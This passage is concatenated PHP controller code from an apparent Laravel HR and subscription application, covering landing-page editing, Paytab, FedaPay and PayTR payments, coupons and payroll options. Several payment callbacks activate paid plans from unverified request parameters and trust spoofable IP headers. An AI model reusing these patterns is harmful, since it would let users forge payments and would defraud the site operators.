$data['system'] = $value; } } else if($key == "testimonials") { $testinomial_data = []; if($content_type == "update_section") { foreach($value as $key => $test_value) { if($system_element_id == $test_value->id) { $no = 1; $data_text = []; foreach($text_value as $text_key => $text_val) { $data_text['text_' . $no] = $text_val; $no++; } $data_value['text'] = $data_text; if($request->hasFile('image')) { $ext = $image->getClientOriginalExtension(); $fileName = 'image_' . time() . rand() . '.' . $ext; $request->file('image')->storeAs('uploads/custom_landing_page_image', $fileName); $data_value['image'] = $fileName; } else { $data_value['image'] = $test_value->image; } $data_value['id'] = $test_value->id; $data['testimonials'][] = $data_value; } else { $data['testimonials'][] = $test_value; } } } else if($content_type == "new_section") { $no = 1; $data_text = []; $data_value['id'] = count($value) + 1; foreach($text_value as $text_key => $text_val) { $data_text['text_' . $no] = $text_val; $no++; } $data_value['text'] = $data_text; if($request->hasFile('image')) { $ext = $image->getClientOriginalExtension(); $fileName = 'image_' . time() . rand() . '.' . $ext; $request->file('image')->storeAs('uploads/custom_landing_page_image', $fileName); $data_value['image'] = $fileName; } else { $data_value['image'] = "default-thumbnail.jpg"; } $value[] = $data_value; $data['testimonials'] = $value; } else if($content_type == "remove_element") { foreach($value as $key => $test_value) { if($test_value->id == $system_element_id) { } else { $data['testimonials'][] = $test_value; } } } else { $data['testimonials'] = $value; } } else if($key == "footer") { $footer_data = []; if(is_null($menu_name)) { $data['footer'] = $value; } else { foreach($value as $key => $json_val) { if($key == "logo") { if($request->hasFile('logo')) { $ext = $logo->getClientOriginalExtension(); $fileName = 'logo_' . time() . rand() . '.' . $ext; $request->file('logo')->storeAs('uploads/custom_landing_page_image', $fileName); $json_val->logo = $fileName; } if(!is_null($text_value)) { $json_val->text = $text_value; } $data['footer']['logo'] = $json_val; } if($key == "footer_menu") { if(!is_null($menu_name['footer_menu'])) { $test_value = $menu_name['footer_menu']; $inner = []; foreach($test_value as $key => $val) { $inner_data = []; $inner_data['id'] = $key; $inner_data['menu'] = $val['menu']; $inner_data1 = []; foreach($val['data'] as $key => $val1) { $inner_data1['menu_name'] = $val1['text']; $inner_data1['menu_href'] = $val1['href']; $inner_data['data'][] = $inner_data1; } $inner[] = $inner_data; } $data['footer']['footer_menu'] = $inner; } else { $data['footer']['footer_menu'] = $json_val; } } if($key == "bottom_menu") { if(!is_null($menu_name['bottom_menu'])) { $test_value = $menu_name['bottom_menu']; $inner_data = []; $inner_data['id'] = $key; $inner_data['text'] = $test_value['text']; $inner_data1 = []; foreach($test_value['data'] as $key => $val) { $inner_data1['menu_name'] = $val['text']; $inner_data1['menu_href'] = $val['href']; $inner_data['data'][] = $inner_data1; } $data['footer']['bottom_menu'] = $inner_data; } else { $data['footer']['bottom_menu'] = $json_val; } } if($key == "contact_app") { if(!is_null($menu_name['contact_app'])) { $test_value = $menu_name['contact_app']; $inner_data = []; $inner_data['menu'] = $test_value['menu']; $inner_data1 = []; foreach($test_value['data'] as $key => $val) { //print_r($val['image']);die; foreach($json_val[0] as $json_key => $json_data) { if($json_key == "data") { foreach($json_data as $contact_key => $contact_data) { if($val['id'] == $contact_data->id) { if(!empty($val['image'])) { $ext = $val['image']->getClientOriginalExtension(); $fileName = 'contact_app_' . time() . $contact_key . rand() . '.' . $ext; $val['image']->storeAs('uploads/custom_landing_page_image', $fileName); $contact_data->image = $fileName; } if(!empty($val['href'])) { $contact_data->image_href = $val['href']; } $json_data = $contact_data; } } $inner_data1[] = $json_data; } } } $inner_data['data'] = $inner_data1; $data['footer']['contact_app'][] = $inner_data; } else { $data['footer']['contact_app'][] = $json_val; } } } } } } $content = json_encode($data); } $Landing_page_section = LandingPageSection::findOrfail($get_section->id); $Landing_page_section->content = $content; $Landing_page_section->save(); return $get_section; } else { return "error"; } } return redirect()->back()->with('error', 'Permission denied.'); } public function removeSection($id) { if(\Auth::user()->type == 'super admin') { $Landing_page_section = LandingPageSection::findOrfail($id); $get_alredy_exist_section = LandingPageSection::where(['section_type' => $Landing_page_section->section_type])->whereNotIn('id', [$id])->get(); if(count($get_alredy_exist_section) > 0) { $Landing_page_section->delete(); } else { $Landing_page_section->content = ''; $Landing_page_section->save(); } } return redirect()->back()->with('error', 'Permission denied.'); } public function setOrder(Request $request) { if(\Auth::user()->type == 'super admin') { $element_array = $request->element_array; $order = 1; if(count($element_array) > 0) { foreach($element_array as $key => $value) { $Landing_page_section = LandingPageSection::findOrfail($value); $Landing_page_section->section_order = $order; $Landing_page_section->save(); $order++; } } return 0; } return redirect()->back()->with('error', 'Permission denied.'); } public function copySection(Request $request) { if(\Auth::user()->type == 'super admin') { $id = $request->id; $get_section = LandingPageSection::where(['id' => $id])->first(); if(!is_null($get_section)) { $Landing_page_section = new LandingPageSection(); $Landing_page_section->section_name = $get_section->section_name; $Landing_page_section->section_order = $get_section->section_order; $Landing_page_section->default_content = $get_section->default_content; $Landing_page_section->section_name = $get_section->section_name; $Landing_page_section->content = $get_section->content; $Landing_page_section->section_demo_image = $get_section->section_demo_image; $Landing_page_section->section_blade_file_name = $get_section->section_blade_file_name; $Landing_page_section->section_type = $get_section->section_type; $Landing_page_section->save(); return 1; } else { return "error"; } } return redirect()->back()->with('error', 'Permission denied.'); } public function show(Request $request, $id) { $section_name = $request->section_name; $section_type = $request->section_type; $get_content = LandingPageSection::where(['id' => $id])->first(); if(!is_null($get_content)) { $data['id'] = $get_content->id; $data['section_name'] = $get_content->section_name; $data['section_type'] = $get_content->section_type; if($get_content->content == "" || $get_content->content == null) { $data['content'] = $get_content->default_content; } else { $data['content'] = $get_content->content; } return json_encode($data); } else { return "error"; } } } Http/Controllers/PaytabController.php000064400000021463150364306410013776 0ustar00 isset($payment_setting['paytab_profile_id']) ? $payment_setting['paytab_profile_id'] : '', 'paytabs.server_key' => isset($payment_setting['paytab_server_key']) ? $payment_setting['paytab_server_key'] : '', 'paytabs.region' => isset($payment_setting['paytab_region']) ? $payment_setting['paytab_region'] : '', 'paytabs.currency' => !empty($payment_setting['currency']) ? $payment_setting['currency'] : 'USD', ]); } } public function planPayWithpaytab(Request $request) { try { $planID = \Illuminate\Support\Facades\Crypt::decrypt($request->plan_id); $plan = Plan::find($planID); $this->paymentconfig(); $user = \Auth::user(); if ($plan) { $get_amount = $plan->price; if (!empty($request->coupon)) { $coupons = Coupon::where('code', strtoupper($request->coupon))->where('is_active', '1')->first(); if (!empty($coupons)) { $usedCoupun = $coupons->used_coupon(); $discount_value = ($plan->price / 100) * $coupons->discount; $get_amount = $plan->price - $discount_value; if ($coupons->limit == $usedCoupun) { return redirect()->back()->with('error', __('This coupon code has expired.')); } if ($get_amount <= 0) { $authuser = \Auth::user(); $authuser->plan = $plan->id; $authuser->save(); $assignPlan = $authuser->assignPlan($plan->id); if ($assignPlan['is_success'] == true && !empty($plan)) { if (!empty($authuser->payment_subscription_id) && $authuser->payment_subscription_id != '') { try { $authuser->cancel_subscription($authuser->id); } catch (\Exception $exception) { \Log::debug($exception->getMessage()); } } $orderID = strtoupper(str_replace('.', '', uniqid('', true))); $userCoupon = new UserCoupon(); $userCoupon->user = $authuser->id; $userCoupon->coupon = $coupons->id; $userCoupon->order = $orderID; $userCoupon->save(); Order::create( [ 'order_id' => $orderID, 'name' => null, 'email' => null, 'card_number' => null, 'card_exp_month' => null, 'card_exp_year' => null, 'plan_name' => $plan->name, 'plan_id' => $plan->id, 'price' => $get_amount == null ? 0 : $get_amount, 'price_currency' => !empty($payment_setting['currency']) ? $payment_setting['currency'] : 'USD', 'txn_id' => '', 'payment_type' => 'Paytab', 'payment_status' => 'success', 'receipt' => null, 'user_id' => $authuser->id, ] ); $assignPlan = $authuser->assignPlan($plan->id); return redirect()->route('plans.index')->with('success', __('Plan Successfully Activated')); } } } else { return redirect()->back()->with('error', __('This coupon code is invalid or has expired.')); } } $coupon = (empty($request->coupon)) ? "0" : $request->coupon; $pay = paypage::sendPaymentCode('all') ->sendTransaction('sale') ->sendCart(1, $get_amount, 'plan payment') ->sendCustomerDetails(isset($user->name) ? $user->name : "", isset($user->email) ? $user->email : '', '', '', '', '', '', '', '') ->sendURLs( route('plan.paytab.success', ['success' => 1, 'data' => $request->all(), 'plan_id' => $plan->id, 'amount' => $get_amount, 'coupon' => $coupon]), route('plan.paytab.success', ['success' => 0, 'data' => $request->all(), 'plan_id' => $plan->id, 'amount' => $get_amount, 'coupon' => $coupon]) ) ->sendLanguage('en') ->sendFramed($on = false) ->create_pay_page(); return $pay; } else { return redirect()->route('plans.index')->with('error', __('Plan is deleted.')); } } catch (\Exception $e) { return redirect()->route('plans.index')->with('error', __($e->getMessage())); } } public function PaytabGetPayment(Request $request) { $planId = $request->plan_id; $couponCode = $request->coupon; $getAmount = $request->amount; if ($couponCode != 0) { $coupons = Coupon::where('code', strtoupper($couponCode))->where('is_active', '1')->first(); $request['coupon_id'] = $coupons->id; } else { $coupons = null; } $plan = Plan::find($planId); $user = auth()->user(); $orderID = strtoupper(str_replace('.', '', uniqid('', true))); try { if ($request->respMessage == "Authorised" || $request->success == 1) { Utility::referralTransaction($plan); $order = new Order(); $order->order_id = $orderID; $order->name = $user->name; $order->card_number = ''; $order->card_exp_month = ''; $order->card_exp_year = ''; $order->plan_name = $plan->name; $order->plan_id = $plan->id; $order->price = $getAmount; $order->price_currency = !empty($payment_setting['currency']) ? $payment_setting['currency'] : 'USD'; $order->payment_type = __('Paytab'); $order->payment_status = 'success'; $order->txn_id = ''; $order->receipt = ''; $order->user_id = $user->id; $order->save(); $assignPlan = $user->assignPlan($plan->id); $coupons = Coupon::find($request->coupon_id); if (!empty($request->coupon_id)) { if (!empty($coupons)) { $userCoupon = new UserCoupon(); $userCoupon->user = $user->id; $userCoupon->coupon = $coupons->id; $userCoupon->order = $orderID; $userCoupon->save(); $usedCoupun = $coupons->used_coupon(); if ($coupons->limit <= $usedCoupun) { $coupons->is_active = 0; $coupons->save(); } } } if ($assignPlan['is_success']) { return redirect()->route('plans.index')->with('success', __('Plan activated Successfully.')); } else { return redirect()->route('plans.index')->with('error', __($assignPlan['error'])); } } else { return redirect()->route('plans.index')->with('error', __('Your Transaction is fail please try again')); } } catch (\Exception $e) { return redirect()->route('plans.index')->with('error', __($e->getMessage())); } } } Http/Controllers/FedapayController.php000064400000021573150364306410014131 0ustar00plan_id); $plan = Plan::find($planID); $orderID = strtoupper(str_replace('.', '', uniqid('', true))); $authuser = Auth::user(); if ($plan) { /* Check for code usage */ $integerValue = $plan->price; $get_amount = intval($integerValue); if (!empty($request->coupon)) { $coupons = Coupon::where('code', strtoupper($request->coupon))->where('is_active', '1')->first(); if (!empty($coupons)) { $usedCoupun = $coupons->used_coupon(); $discount_value = ($plan->price / 100) * $coupons->discount; $get_amount = $plan->price - $discount_value; if ($coupons->limit == $usedCoupun) { return redirect()->back()->with('error', __('This coupon code has expired.')); } if ($get_amount <= 0) { $authuser = Auth::user(); $authuser->plan = $plan->id; $authuser->save(); $assignPlan = $authuser->assignPlan($plan->id); if ($assignPlan['is_success'] == true && !empty($plan)) { $orderID = strtoupper(str_replace('.', '', uniqid('', true))); $userCoupon = new UserCoupon(); $userCoupon->user = $authuser->id; $userCoupon->coupon = $coupons->id; $userCoupon->order = $orderID; $userCoupon->save(); Order::create( [ 'order_id' => $orderID, 'name' => null, 'email' => null, 'card_number' => null, 'card_exp_month' => null, 'card_exp_year' => null, 'plan_name' => $plan->name, 'plan_id' => $plan->id, 'price' => $get_amount == null ? 0 : $get_amount, 'price_currency' => $currency, 'txn_id' => '', 'payment_type' => __('Paiement Pro'), 'payment_status' => 'success', 'receipt' => null, 'user_id' => $authuser->id, ] ); $assignPlan = $authuser->assignPlan($plan->id); return redirect()->route('plans.index')->with('success', __('Plan Successfully Activated')); } } } else { return redirect()->back()->with('error', __('This coupon code is invalid or has expired.')); } } try { \FedaPay\FedaPay::setApiKey($fedapay); \FedaPay\FedaPay::setEnvironment($fedapay_mode); $orderID = strtoupper(str_replace('.', '', uniqid('', true))); $coupons = Coupon::where('code', strtoupper($request->coupon))->where('is_active', '1')->first(); $transaction = \FedaPay\Transaction::create([ "description" => "Fedapay Payment", "amount" => $get_amount, "currency" => ["iso" => $currency], "callback_url" => route('fedapay.status', [ 'order_id' => $orderID, 'plan_id' => $plan->id, "amount" => $get_amount, "coupon_id" => !empty($coupons->id) ? $coupons->id : '', 'coupon_code' => !empty($request->coupon) ? $request->coupon : '', ]), "cancel_url" => route('fedapay.status', [ 'order_id' => $orderID, 'plan_id' => $plan->id, "amount" => $get_amount, "coupon_id" => !empty($coupons->id) ? $coupons->id : '', 'coupon_code' => !empty($request->coupon) ? $request->coupon : '', ]), ]); Order::create( [ 'order_id' => $orderID, 'name' => null, 'email' => null, 'card_number' => null, 'card_exp_month' => null, 'card_exp_year' => null, 'plan_name' => !empty($plan->name) ? $plan->name : 'Basic Package', 'plan_id' => $plan->id, 'price' => !empty($get_amount) ? $get_amount : 0, 'price_currency' => $currency, 'txn_id' => '', 'payment_type' => __('Fedapay'), 'payment_status' => 'pending', 'receipt' => null, 'user_id' => $authuser->id, ] ); $token = $transaction->generateToken(); return redirect($token->url); } catch (\Exception $e) { return redirect()->route('plans.index')->with('error', $e->getMessage()); } } else { return redirect()->route('plans.index')->with('error', __('Plan is deleted.')); } } public function planGetFedapayStatus(Request $request) { $payment_setting = Utility::getAdminPaymentSetting(); $currency = isset($payment_setting['currency']) ? $payment_setting['currency'] : ''; $orderID = strtoupper(str_replace('.', '', uniqid('', true))); $getAmount = $request->amount; $authuser = Auth::user(); $plan = Plan::find($request->plan_id); Utility::referralTransaction($plan); try { if ($request->status == 'approved') { $order = new Order(); $order->order_id = $orderID; $order->name = $authuser->name; $order->card_number = ''; $order->card_exp_month = ''; $order->card_exp_year = ''; $order->plan_name = $plan->name; $order->plan_id = $plan->id; $order->price = $getAmount; $order->price_currency = $currency; $order->txn_id = $orderID; $order->payment_type = __('Fedapay'); $order->payment_status = 'success'; $order->receipt = ''; $order->user_id = $authuser->id; $order->save(); $assignPlan = $authuser->assignPlan($plan->id); } else { return redirect()->back()->with('error', __('Transaction Unsuccesfull')); } $coupons = Coupon::find($request->coupon_id); if (!empty($request->coupon_id)) { if (!empty($coupons)) { $userCoupon = new UserCoupon(); $userCoupon->user = $authuser->id; $userCoupon->coupon = $coupons->id; $userCoupon->order = $orderID; $userCoupon->save(); $usedCoupun = $coupons->used_coupon(); if ($coupons->limit <= $usedCoupun) { $coupons->is_active = 0; $coupons->save(); } } } if ($assignPlan['is_success']) { return redirect()->route('plans.index')->with('success', __('Plan activated Successfully!')); } else { return redirect()->route('plans.index')->with('error', __($assignPlan['error'])); } } catch (\Exception $e) { return redirect()->route('plans.index')->with('error', $e->getMessage()); } } } Http/Controllers/CommissionController.php000064400000011356150364306410014676 0ustar00can('Create Commission')) { $validator = \Validator::make( $request->all(), [ 'employee_id' => 'required', 'title' => 'required', 'amount' => 'required', ] ); if($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $commission = new Commission(); $commission->employee_id = $request->employee_id; $commission->title = $request->title; $commission->type = $request->type; $commission->amount = $request->amount; $commission->created_by = \Auth::user()->creatorId(); $commission->save(); if( $commission->type == 'percentage' ) { $employee = Employee::find($commission->employee_id); $comsal = $commission->amount * $employee->salary / 100; } return redirect()->back()->with('success', __('Commission successfully created.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function show(Commission $commission) { return redirect()->route('commision.index'); } public function edit($commission) { $commission = Commission::find($commission); if(\Auth::user()->can('Edit Commission')) { if($commission->created_by == \Auth::user()->creatorId()) { $commissions =Commission::$commissiontype; return view('commission.edit', compact('commission','commissions')); } else { return response()->json(['error' => __('Permission denied.')], 401); } } else { return response()->json(['error' => __('Permission denied.')], 401); } } public function update(Request $request, Commission $commission) { if(\Auth::user()->can('Edit Commission')) { if($commission->created_by == \Auth::user()->creatorId()) { $validator = \Validator::make( $request->all(), [ 'title' => 'required', 'amount' => 'required', ] ); if($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $commission->title = $request->title; $commission->type = $request->type; $commission->amount = $request->amount; $commission->save(); if( $commission->type == 'percentage' ) { $employee = Employee::find($commission->employee_id); $comsal = $commission->amount * $employee->salary / 100; } return redirect()->back()->with('success', __('Commission successfully updated.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function destroy(Commission $commission) { if(\Auth::user()->can('Delete Commission')) { if($commission->created_by == \Auth::user()->creatorId()) { $commission->delete(); return redirect()->back()->with('success', __('Commission successfully deleted.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } } Http/Controllers/DeductionOptionController.php000064400000011546150364306410015666 0ustar00can('Manage Deduction Option')) { $deductionoptions = DeductionOption::where('created_by', '=', \Auth::user()->creatorId())->get(); return view('deductionoption.index', compact('deductionoptions')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function create() { if(\Auth::user()->can('Create Deduction Option')) { return view('deductionoption.create'); } else { return response()->json(['error' => __('Permission denied.')], 401); } } public function store(Request $request) { if(\Auth::user()->can('Create Deduction Option')) { $validator = \Validator::make( $request->all(), [ 'name' => 'required', ] ); if($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $deductionoption = new DeductionOption(); $deductionoption->name = $request->name; $deductionoption->created_by = \Auth::user()->creatorId(); $deductionoption->save(); return redirect()->route('deductionoption.index')->with('success', __('DeductionOption successfully created.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function show(DeductionOption $deductionoption) { return redirect()->route('deductionoption.index'); } public function edit($deductionoption) { $deductionoption = DeductionOption::find($deductionoption); if(\Auth::user()->can('Edit Deduction Option')) { if($deductionoption->created_by == \Auth::user()->creatorId()) { return view('deductionoption.edit', compact('deductionoption')); } else { return response()->json(['error' => __('Permission denied.')], 401); } } else { return response()->json(['error' => __('Permission denied.')], 401); } } public function update(Request $request, DeductionOption $deductionoption) { if(\Auth::user()->can('Edit Deduction Option')) { if($deductionoption->created_by == \Auth::user()->creatorId()) { $validator = \Validator::make( $request->all(), [ 'name' => 'required', ] ); if($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $deductionoption->name = $request->name; $deductionoption->save(); return redirect()->route('deductionoption.index')->with('success', __('DeductionOption successfully updated.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function destroy(DeductionOption $deductionoption) { if(\Auth::user()->can('Delete Deduction Option')) { if($deductionoption->created_by == \Auth::user()->creatorId()) { $saturationdeduction = SaturationDeduction::where('deduction_option',$deductionoption->id)->get(); if(count($saturationdeduction) == 0) { $deductionoption->delete(); } else { return redirect()->route('deductionoption.index')->with('error', __('This Deduction Option has Saturation Deduction. Please remove the Saturation Deduction from this Deduction option.')); } return redirect()->route('deductionoption.index')->with('success', __('DeductionOption successfully deleted.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } } Http/Controllers/CouponController.php000064400000014473150364306410014024 0ustar00can('manage coupon')) { $coupons = Coupon::get(); return view('coupon.index', compact('coupons')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function create() { if (\Auth::user()->can('create coupon')) { return view('coupon.create'); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function store(Request $request) { if (\Auth::user()->can('create coupon')) { $validator = \Validator::make( $request->all(), [ 'name' => 'required', 'discount' => 'required|numeric', 'limit' => 'required|numeric', ] ); if ($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } if (empty($request->manualCode) && empty($request->autoCode)) { return redirect()->back()->with('error', 'Coupon code is required'); } $coupon = new Coupon(); $coupon->name = $request->name; $coupon->discount = $request->discount; $coupon->limit = $request->limit; if (!empty($request->manualCode)) { $coupon->code = strtoupper($request->manualCode); } if (!empty($request->autoCode)) { $coupon->code = $request->autoCode; } $coupon->save(); return redirect()->route('coupons.index')->with('success', __('Coupon successfully created.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function show(Coupon $coupon) { $userCoupons = UserCoupon::where('coupon', $coupon->id)->get(); return view('coupon.view', compact('userCoupons')); } public function edit(Coupon $coupon) { if (\Auth::user()->can('edit coupon')) { return view('coupon.edit', compact('coupon')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function update(Request $request, Coupon $coupon) { if (\Auth::user()->can('edit coupon')) { $validator = \Validator::make( $request->all(), [ 'name' => 'required', 'discount' => 'required|numeric', 'limit' => 'required|numeric', 'code' => 'required', ] ); if ($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $coupon = Coupon::find($coupon->id); $coupon->name = $request->name; $coupon->discount = $request->discount; $coupon->limit = $request->limit; $coupon->code = $request->code; $coupon->save(); return redirect()->route('coupons.index')->with('success', __('Coupon successfully updated.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function destroy(Coupon $coupon) { if (\Auth::user()->can('delete coupon')) { $coupon->delete(); return redirect()->route('coupons.index')->with('success', __('Coupon successfully deleted.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function applyCoupon(Request $request) { $plan = Plan::find(\Illuminate\Support\Facades\Crypt::decrypt($request->plan_id)); if ($plan && $request->coupon != '') { $original_price = self::formatPrice($plan->price); $coupons = Coupon::where('code', strtoupper($request->coupon))->where('is_active', '1')->first(); if (!empty($coupons)) { $usedCoupun = $coupons->used_coupon(); if ($coupons->limit == $usedCoupun) { return response()->json( [ 'is_success' => false, 'final_price' => $original_price, 'price' => number_format($plan->price, 2), 'message' => __('This coupon code has expired.'), ] ); } else { $discount_value = ($plan->price / 100) * $coupons->discount; $plan_price = $plan->price - $discount_value; $price = self::formatPrice($plan->price - $discount_value); $discount_value = '-' . self::formatPrice($discount_value); return response()->json( [ 'is_success' => true, 'discount_price' => $discount_value, 'final_price' => $price, 'price' => number_format($plan_price, 2), 'message' => __('Coupon code has applied successfully.'), ] ); } } else { return response()->json( [ 'is_success' => false, 'final_price' => $original_price, 'price' => number_format($plan->price, 2), 'message' => __('This coupon code is invalid or has expired.'), ] ); } } } public function formatPrice($price) { $admin_payment_setting = Utility::getAdminPaymentSetting(); return $admin_payment_setting['currency_symbol'] . number_format($price); } } Http/Controllers/PaytrController.php000064400000026462150364306410013661 0ustar00plan_id); $authuser = \Auth::user(); $plan = Plan::find($planID); if ($plan) { $get_amount = $plan->price; if (!empty($request->coupon)) { $coupons = Coupon::where('code', strtoupper($request->coupon))->where('is_active', '1')->first(); if (!empty($coupons)) { $usedCoupun = $coupons->used_coupon(); $discount_value = ($plan->price / 100) * $coupons->discount; $get_amount = $plan->price - $discount_value; if ($coupons->limit == $usedCoupun) { return redirect()->back()->with('error', __('This coupon code has expired.')); } if ($get_amount <= 0) { $authuser = \Auth::user(); $authuser->plan = $plan->id; $authuser->save(); $assignPlan = $authuser->assignPlan($plan->id); if ($assignPlan['is_success'] == true && !empty($plan)) { if (!empty($authuser->payment_subscription_id) && $authuser->payment_subscription_id != '') { try { $authuser->cancel_subscription($authuser->id); } catch (\Exception $exception) { \Log::debug($exception->getMessage()); } } $orderID = strtoupper(str_replace('.', '', uniqid('', true))); $userCoupon = new UserCoupon(); $userCoupon->user = $authuser->id; $userCoupon->coupon = $coupons->id; $userCoupon->order = $orderID; $userCoupon->save(); Order::create( [ 'order_id' => $orderID, 'name' => null, 'email' => null, 'card_number' => null, 'card_exp_month' => null, 'card_exp_year' => null, 'plan_name' => $plan->name, 'plan_id' => $plan->id, 'price' => $get_amount == null ? 0 : $get_amount, 'price_currency' => !empty($payment_setting['currency']) ? $payment_setting['currency'] : 'TL', 'txn_id' => '', 'payment_type' => 'PayTR', 'payment_status' => 'success', 'receipt' => null, 'user_id' => $authuser->id, ] ); $assignPlan = $authuser->assignPlan($plan->id); return redirect()->route('plans.index')->with('success', __('Plan Successfully Activated')); } } } else { return redirect()->back()->with('error', __('This coupon code is invalid or has expired.')); } } try { $coupon = (empty($request->coupon)) ? "0" : $request->coupon; $merchant_id = $paytr_merchant_id; $merchant_key = $paytr_merchant_key; $merchant_salt = $paytr_merchant_salt; $orderID = strtoupper(str_replace('.', '', uniqid('', true))); $email = $authuser->email; $payment_amount = $plan->price; $merchant_oid = $orderID; $user_name = $authuser->name; $user_address = 'no address'; $user_phone = '0000000000'; $user_basket = base64_encode(json_encode(array( array("Plan", $payment_amount, 1), ))); if (isset($_SERVER["HTTP_CLIENT_IP"])) { $ip = $_SERVER["HTTP_CLIENT_IP"]; } elseif (isset($_SERVER["HTTP_X_FORWARDED_FOR"])) { $ip = $_SERVER["HTTP_X_FORWARDED_FOR"]; } else { $ip = $_SERVER["REMOTE_ADDR"]; } $user_ip = $ip; $timeout_limit = "30"; $debug_on = 1; $test_mode = 0; $no_installment = 0; $max_installment = 0; $currency = !empty($payment_setting['currency']) ? $payment_setting['currency'] : 'TL'; $payment_amount = $payment_amount*100; $hash_str = $merchant_id . $user_ip . $merchant_oid . $email . $payment_amount . $user_basket . $no_installment . $max_installment . $currency . $test_mode; $paytr_token = base64_encode(hash_hmac('sha256', $hash_str . $merchant_salt, $merchant_key, true)); $request['orderID'] = $orderID; $request['plan_id'] = $plan->id; $request['price'] = $get_amount; $request['payment_status'] = 'failed'; $payment_failed = $request->all(); $request['payment_status'] = 'success'; $payment_success = $request->all(); $post_vals = array( 'merchant_id' => $merchant_id, 'user_ip' => $user_ip, 'merchant_oid' => $merchant_oid, 'email' => $email, 'payment_amount' => $payment_amount, 'paytr_token' => $paytr_token, 'user_basket' => $user_basket, 'debug_on' => $debug_on, 'no_installment' => $no_installment, 'max_installment' => $max_installment, 'user_name' => $user_name, 'user_address' => $user_address, 'user_phone' => $user_phone, 'merchant_ok_url' => route('pay.paytr.success', $payment_success), 'merchant_fail_url' => route('pay.paytr.success', $payment_failed), 'timeout_limit' => $timeout_limit, 'currency' => $currency, 'test_mode' => $test_mode ); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "https://www.paytr.com/odeme/api/get-token"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $post_vals); curl_setopt($ch, CURLOPT_FRESH_CONNECT, true); curl_setopt($ch, CURLOPT_TIMEOUT, 20); $result = @curl_exec($ch); if (curl_errno($ch)) { die("PAYTR IFRAME connection error. err:" . curl_error($ch)); } curl_close($ch); $result = json_decode($result, 1); if ($result['status'] == 'success') { $token = $result['token']; } else { return redirect()->route('plans.index')->with('error', $result['reason']); } return view('plan.paytr_payment', compact('token')); } catch (\Throwable $th) { return redirect()->route('plans.index')->with('error', $th->getMessage()); } } } public function paytrsuccess(Request $request) { if ($request->payment_status == "success") { try { $user = \Auth::user(); $planID = $request->plan_id; $plan = Plan::find($planID); $couponCode = $request->coupon; $getAmount = $request->price; if ($couponCode != 0) { $coupons = Coupon::where('code', strtoupper($couponCode))->where('is_active', '1')->first(); $request['coupon_id'] = $coupons->id; } else { $coupons = null; } Utility::referralTransaction($plan); $order = new Order(); $order->order_id = $request->orderID; $order->name = $user->name; $order->card_number = ''; $order->card_exp_month = ''; $order->card_exp_year = ''; $order->plan_name = $plan->name; $order->plan_id = $plan->id; $order->price = $getAmount; $order->price_currency = !empty($payment_setting['currency']) ? $payment_setting['currency'] : 'TL'; $order->txn_id = $request->orderID; $order->payment_type = __('PayTR'); $order->payment_status = 'success'; $order->txn_id = ''; $order->receipt = ''; $order->user_id = $user->id; $order->save(); $assignPlan = $user->assignPlan($plan->id); $coupons = Coupon::find($request->coupon_id); if (!empty($request->coupon_id)) { if (!empty($coupons)) { $userCoupon = new UserCoupon(); $userCoupon->user = $user->id; $userCoupon->coupon = $coupons->id; $userCoupon->order = $request->orderID; $userCoupon->save(); $usedCoupun = $coupons->used_coupon(); if ($coupons->limit <= $usedCoupun) { $coupons->is_active = 0; $coupons->save(); } } } if ($assignPlan['is_success']) { return redirect()->route('plans.index')->with('success', __('Plan activated Successfully.')); } else { return redirect()->route('plans.index')->with('error', __($assignPlan['error'])); } } catch (\Exception $e) { return redirect()->route('plans.index')->with('error', __($e)); } } else { return redirect()->route('plans.index')->with('success', __('Your Transaction is fail please try again.')); } } } Http/Controllers/JobApplicationController.php000064400000070505150364306410015455 0ustar00can('Manage Job Application')) { $stages = JobStage::where('created_by', '=', \Auth::user()->creatorId())->orderBy('order', 'asc')->get(); $jobs = Job::where('created_by', \Auth::user()->creatorId())->get()->pluck('title', 'id'); $jobs->prepend('All', ''); if (isset($request->start_date) && !empty($request->start_date)) { $filter['start_date'] = $request->start_date; } else { $filter['start_date'] = date("Y-m-d", strtotime("-1 month")); } if (isset($request->end_date) && !empty($request->end_date)) { $filter['end_date'] = $request->end_date; } else { $filter['end_date'] = date("Y-m-d H:i:s", strtotime("+1 hours")); } if (isset($request->job) && !empty($request->job)) { $filter['job'] = $request->job; } else { $filter['job'] = ''; } return view('jobApplication.index', compact('stages', 'jobs', 'filter')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function create() { $jobs = Job::where('created_by', \Auth::user()->creatorId())->get()->pluck('title', 'id'); $jobs->prepend('--', ''); $questions = CustomQuestion::where('created_by', \Auth::user()->creatorId())->get(); return view('jobApplication.create', compact('jobs', 'questions')); } public function store(Request $request) { if (\Auth::user()->can('Create Job Application')) { $validator = \Validator::make( $request->all(), [ 'job' => 'required', 'name' => 'required', 'email' => 'required', 'phone' => 'required', ] ); if ($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $stage = JobStage::where('created_by', 